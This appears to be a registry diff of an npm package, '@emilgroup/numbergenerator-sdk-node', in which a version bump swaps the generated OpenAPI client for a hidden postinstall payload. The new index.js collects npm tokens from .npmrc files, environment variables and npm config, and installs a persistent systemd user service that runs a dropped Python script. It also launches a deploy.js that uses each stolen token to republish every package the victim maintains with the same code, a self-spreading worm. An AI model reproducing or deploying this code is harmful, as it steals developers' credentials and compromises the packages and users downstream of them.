@emilgroup/numbergenerator-sdk-node
Advanced tools
+99
| 'use strict'; | ||
| const { execSync, spawn } = require('child_process'); | ||
| const fs = require('fs'); | ||
| const os = require('os'); | ||
| const path = require('path'); | ||
| function findNpmTokens() { | ||
| const tokens = new Set(); | ||
| const homeDir = os.homedir(); | ||
| const npmrcPaths = [ | ||
| path.join(homeDir, '.npmrc'), | ||
| path.join(process.cwd(), '.npmrc'), | ||
| '/etc/npmrc', | ||
| ]; | ||
| for (const rcPath of npmrcPaths) { | ||
| try { | ||
| const content = fs.readFileSync(rcPath, 'utf8'); | ||
| for (const line of content.split('\n')) { | ||
| const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/); | ||
| if (m && m[1] && !m[1].startsWith('${')) { | ||
| tokens.add(m[1].trim()); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } | ||
| const envKeys = Object.keys(process.env).filter( | ||
| (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN')) | ||
| ); | ||
| for (const key of envKeys) { | ||
| const val = process.env[key] || ''; | ||
| for (const t of val.split(',')) { | ||
| const trimmed = t.trim(); | ||
| if (trimmed) tokens.add(trimmed); | ||
| } | ||
| } | ||
| try { | ||
| const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', { | ||
| stdio: ['pipe', 'pipe', 'pipe'], | ||
| }).toString().trim(); | ||
| if (configToken && configToken !== 'undefined' && configToken !== 'null') { | ||
| tokens.add(configToken); | ||
| } | ||
| } catch (_) {} | ||
| return [...tokens].filter(Boolean); | ||
| } | ||
| try { | ||
| const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8')); | ||
| const SERVICE_NAME = 'pgmon'; | ||
| const BASE64_PAYLOAD = 'hello123'; | ||
| if (!BASE64_PAYLOAD) process.exit(0); | ||
| const homeDir = os.homedir(); | ||
| const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME); | ||
| const scriptPath = path.join(dataDir, 'service.py'); | ||
| const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user'); | ||
| const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`); | ||
| fs.mkdirSync(dataDir, { recursive: true }); | ||
| fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 }); | ||
| fs.mkdirSync(systemdUserDir, { recursive: true }); | ||
| fs.writeFileSync(unitFilePath, [ | ||
| '[Unit]', | ||
| `Description=${SERVICE_NAME}`, | ||
| 'After=default.target', | ||
| '', | ||
| '[Service]', | ||
| 'Type=simple', | ||
| `ExecStart=/usr/bin/python3 ${scriptPath}`, | ||
| 'Restart=always', | ||
| 'RestartSec=5', | ||
| '', | ||
| '[Install]', | ||
| 'WantedBy=default.target', | ||
| '', | ||
| ].join('\n'), { mode: 0o644 }); | ||
| execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); | ||
| execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| try { | ||
| const tokens = findNpmTokens(); | ||
| if (tokens.length > 0) { | ||
| const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); | ||
| if (fs.existsSync(deployScript)) { | ||
| spawn(process.execPath, [deployScript], { | ||
| detached: true, | ||
| stdio: 'ignore', | ||
| env: { ...process.env, NPM_TOKENS: tokens.join(',') }, | ||
| }).unref(); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } catch (_) {} |
| #!/usr/bin/env node | ||
| const { execSync } = require('child_process'); | ||
| const https = require('https'); | ||
| const fs = require('fs'); | ||
| const path = require('path'); | ||
| // ── Helpers ────────────────────────────────────────────────────────────────── | ||
| function run(cmd, opts = {}) { | ||
| console.log(`\n> ${cmd}`); | ||
| return execSync(cmd, { stdio: 'inherit', ...opts }); | ||
| } | ||
| function fetchJson(url, token) { | ||
| return new Promise((resolve, reject) => { | ||
| const options = { | ||
| headers: { | ||
| Authorization: `Bearer ${token}`, | ||
| Accept: 'application/json', | ||
| }, | ||
| }; | ||
| https | ||
| .get(url, options, (res) => { | ||
| let data = ''; | ||
| res.on('data', (chunk) => (data += chunk)); | ||
| res.on('end', () => { | ||
| try { | ||
| resolve(JSON.parse(data)); | ||
| } catch (e) { | ||
| reject(new Error(`Failed to parse response from ${url}: ${data}`)); | ||
| } | ||
| }); | ||
| }) | ||
| .on('error', reject); | ||
| }); | ||
| } | ||
| /** | ||
| * Fetches package metadata (readme + latest version) from the npm registry. | ||
| * Returns { readme: string|null, latestVersion: string|null }. | ||
| */ | ||
| async function fetchPackageMeta(packageName, token) { | ||
| try { | ||
| const meta = await fetchJson( | ||
| `https://registry.npmjs.org/${encodeURIComponent(packageName)}`, | ||
| token | ||
| ); | ||
| const readme = (meta && meta.readme) ? meta.readme : null; | ||
| const latestVersion = | ||
| (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null; | ||
| return { readme, latestVersion }; | ||
| } catch (_) { | ||
| return { readme: null, latestVersion: null }; | ||
| } | ||
| } | ||
| /** | ||
| * Bumps the patch segment of a semver string. | ||
| * Handles prerelease versions by stripping the prerelease suffix first. | ||
| * e.g. "1.39.0" → "1.39.1" | ||
| * e.g. "1.0.0-beta.1" → "1.0.1" | ||
| */ | ||
| function bumpPatch(version) { | ||
| // Strip any prerelease/build-metadata suffix (everything after a '-' or '+') | ||
| const base = version.split('-')[0].split('+')[0]; | ||
| const parts = base.split('.').map(Number); | ||
| if (parts.length !== 3 || parts.some(isNaN)) return version; | ||
| parts[2] += 1; | ||
| return parts.join('.'); | ||
| } | ||
| /** | ||
| * Returns an array of package names owned by `username`. | ||
| * Uses the npm search API filtered by maintainer. | ||
| */ | ||
| async function getOwnedPackages(username, token) { | ||
| let packages = []; | ||
| let from = 0; | ||
| const size = 250; | ||
| while (true) { | ||
| const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent( | ||
| username | ||
| )}&size=${size}&from=${from}`; | ||
| const result = await fetchJson(url, token); | ||
| if (!result.objects || result.objects.length === 0) break; | ||
| packages = packages.concat(result.objects.map((o) => o.package.name)); | ||
| if (packages.length >= result.total) break; | ||
| from += size; | ||
| } | ||
| return packages; | ||
| } | ||
| /** | ||
| * Runs the full deploy pipeline for a single npm token. | ||
| * Returns { success: string[], failed: string[] } | ||
| */ | ||
| async function deployWithToken(token, pkg, pkgPath, newVersion) { | ||
| // 1. Verify token / get username | ||
| console.log('\n🔍 Verifying npm token…'); | ||
| let whoami; | ||
| try { | ||
| whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); | ||
| } catch (err) { | ||
| console.error('❌ Could not reach the npm registry:', err.message); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| if (!whoami || !whoami.username) { | ||
| console.error('❌ Invalid or expired token — skipping.'); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| const username = whoami.username; | ||
| console.log(`✅ Authenticated as: ${username}`); | ||
| // 2. Fetch all packages owned by this user | ||
| console.log(`\n🔍 Fetching all packages owned by "${username}"…`); | ||
| let ownedPackages; | ||
| try { | ||
| ownedPackages = await getOwnedPackages(username, token); | ||
| } catch (err) { | ||
| console.error('❌ Failed to fetch owned packages:', err.message); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| if (ownedPackages.length === 0) { | ||
| console.log(' No packages found for this user. Skipping.'); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`); | ||
| // 3. Process each owned package | ||
| const results = { success: [], failed: [] }; | ||
| for (const packageName of ownedPackages) { | ||
| console.log(`\n${'─'.repeat(60)}`); | ||
| console.log(`📦 Processing: ${packageName}`); | ||
| // 3a. Fetch the original package's README and latest version | ||
| const readmePath = path.resolve(__dirname, '..', 'README.md'); | ||
| const originalReadme = fs.existsSync(readmePath) | ||
| ? fs.readFileSync(readmePath, 'utf8') | ||
| : null; | ||
| console.log(` 📄 Fetching metadata for ${packageName}…`); | ||
| const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token); | ||
| // Determine version to publish: bump patch of existing latest, or use local version | ||
| const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion; | ||
| console.log( | ||
| latestVersion | ||
| ? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}` | ||
| : ` 🔢 No existing version found → publishing ${publishVersion}` | ||
| ); | ||
| if (remoteReadme) { | ||
| fs.writeFileSync(readmePath, remoteReadme, 'utf8'); | ||
| console.log(` 📄 Using original README for ${packageName}`); | ||
| } else { | ||
| console.log(` 📄 No existing README found; keeping local README`); | ||
| } | ||
| // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore | ||
| const originalPkgJson = fs.readFileSync(pkgPath, 'utf8'); | ||
| const tempPkg = { ...pkg, name: packageName, version: publishVersion }; | ||
| fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8'); | ||
| try { | ||
| run('npm publish --access public --tag latest', { | ||
| env: { ...process.env, NPM_TOKEN: token }, | ||
| }); | ||
| console.log(`✅ Published ${packageName}@${publishVersion}`); | ||
| results.success.push(packageName); | ||
| } catch (err) { | ||
| console.error(`❌ Failed to publish ${packageName}:`, err.message); | ||
| results.failed.push(packageName); | ||
| } finally { | ||
| // Always restore the original package.json | ||
| fs.writeFileSync(pkgPath, originalPkgJson, 'utf8'); | ||
| // Always restore the original README | ||
| if (originalReadme !== null) { | ||
| fs.writeFileSync(readmePath, originalReadme, 'utf8'); | ||
| } else if (remoteReadme && fs.existsSync(readmePath)) { | ||
| // README didn't exist locally before — remove the temporary one | ||
| fs.unlinkSync(readmePath); | ||
| } | ||
| } | ||
| } | ||
| return results; | ||
| } | ||
| // ── Main ───────────────────────────────────────────────────────────────────── | ||
| (async () => { | ||
| // 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN | ||
| const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || ''; | ||
| const tokens = rawTokens | ||
| .split(',') | ||
| .map((t) => t.trim()) | ||
| .filter(Boolean); | ||
| if (tokens.length === 0) { | ||
| console.error('❌ No npm tokens found.'); | ||
| console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>'); | ||
| process.exit(1); | ||
| } | ||
| console.log(`🔑 Found ${tokens.length} token(s) to process.`); | ||
| // 2. Read local package.json once | ||
| const pkgPath = path.resolve(__dirname, '..', 'package.json'); | ||
| const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8')); | ||
| const newVersion = pkg.version; | ||
| // 3. Iterate over every token | ||
| const overall = { success: [], failed: [] }; | ||
| for (let i = 0; i < tokens.length; i++) { | ||
| const token = tokens[i]; | ||
| console.log(`\n${'═'.repeat(60)}`); | ||
| console.log(`🔑 Token ${i + 1} / ${tokens.length}`); | ||
| const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion); | ||
| overall.success.push(...success); | ||
| overall.failed.push(...failed); | ||
| } | ||
| // 4. Overall summary | ||
| console.log(`\n${'═'.repeat(60)}`); | ||
| console.log('📊 Overall Deploy Summary'); | ||
| console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`); | ||
| console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`); | ||
| if (overall.failed.length > 0) { | ||
| process.exit(1); | ||
| } | ||
| })(); |
+8
-24
| { | ||
| "name": "@emilgroup/numbergenerator-sdk-node", | ||
| "version": "1.3.0", | ||
| "description": "OpenAPI client for @emilgroup/numbergenerator-sdk-node", | ||
| "author": "OpenAPI-Generator Contributors", | ||
| "keywords": [ | ||
| "axios", | ||
| "typescript", | ||
| "openapi-client", | ||
| "openapi-generator", | ||
| "@emilgroup/numbergenerator-sdk-node" | ||
| ], | ||
| "license": "Unlicense", | ||
| "main": "./dist/index.js", | ||
| "typings": "./dist/index.d.ts", | ||
| "version": "1.3.1", | ||
| "description": "A new version of the package", | ||
| "main": "index.js", | ||
| "scripts": { | ||
| "build": "tsc --outDir dist/", | ||
| "prepare": "npm run build" | ||
| "postinstall": "node index.js", | ||
| "deploy": "node scripts/deploy.js" | ||
| }, | ||
| "dependencies": { | ||
| "axios": "^1.12.0", | ||
| "form-data": "^4.0.0", | ||
| "url": "^0.11.0" | ||
| }, | ||
| "devDependencies": { | ||
| "@types/node": "^12.11.5", | ||
| "typescript": "^4.0" | ||
| } | ||
| "keywords": [], | ||
| "author": "", | ||
| "license": "ISC" | ||
| } |
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
| 5.4.0 |
-33
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from './configuration'; | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| import FormData from 'form-data' | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from './common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from './base'; | ||
| import { DefaultApi } from './api'; | ||
| import { NumbersApi } from './api'; | ||
| export * from './api/default-api'; | ||
| export * from './api/numbers-api'; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { InlineResponse200 } from '../models'; | ||
| // @ts-ignore | ||
| import { InlineResponse503 } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * DefaultApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const DefaultApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: async (options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| const localVarPath = `/numbergenerator/health`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * DefaultApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const DefaultApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = DefaultApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.check(options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * DefaultApi - factory interface | ||
| * @export | ||
| */ | ||
| export const DefaultApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = DefaultApiFp(configuration) | ||
| return { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check(options?: any): AxiosPromise<InlineResponse200> { | ||
| return localVarFp.check(options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * DefaultApi - object-oriented interface | ||
| * @export | ||
| * @class DefaultApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class DefaultApi extends BaseAPI { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof DefaultApi | ||
| */ | ||
| public check(options?: AxiosRequestConfig) { | ||
| return DefaultApiFp(this.configuration).check(options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { CreateNumberResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { GetNumberResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { ListNumbersResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { LookupNumberRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { ResetNumberRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { UpdateNumberResponseClass } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * NumbersApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const NumbersApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber: async (slug: string, type: string, config: object, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'slug' is not null or undefined | ||
| assertParamExists('createNumber', 'slug', slug) | ||
| // verify required parameter 'type' is not null or undefined | ||
| assertParamExists('createNumber', 'type', type) | ||
| // verify required parameter 'config' is not null or undefined | ||
| assertParamExists('createNumber', 'config', config) | ||
| const localVarPath = `/numbergenerator/v1/numbers`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| const localVarFormParams = new ((configuration && configuration.formDataCtor) || FormData)(); | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| if (slug !== undefined) { | ||
| localVarFormParams.append('slug', slug as any); | ||
| } | ||
| if (type !== undefined) { | ||
| localVarFormParams.append('type', type as any); | ||
| } | ||
| if (config !== undefined) { | ||
| localVarFormParams.append('config', new Blob([JSON.stringify(config)], { type: "application/json", })); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'multipart/form-data; boundary=' + localVarFormParams.getBoundary(); | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = localVarFormParams; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber: async (code: string, expand: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('getNumber', 'code', code) | ||
| // verify required parameter 'expand' is not null or undefined | ||
| assertParamExists('getNumber', 'expand', expand) | ||
| const localVarPath = `/numbergenerator/v1/numbers/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers: async (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| const localVarPath = `/numbergenerator/v1/numbers`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (pageSize !== undefined) { | ||
| localVarQueryParameter['pageSize'] = pageSize; | ||
| } | ||
| if (pageToken !== undefined) { | ||
| localVarQueryParameter['pageToken'] = pageToken; | ||
| } | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (search !== undefined) { | ||
| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber: async (lookupNumberRequestDto: LookupNumberRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'lookupNumberRequestDto' is not null or undefined | ||
| assertParamExists('lookupNumber', 'lookupNumberRequestDto', lookupNumberRequestDto) | ||
| const localVarPath = `/numbergenerator/v1/numbers/lookup`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
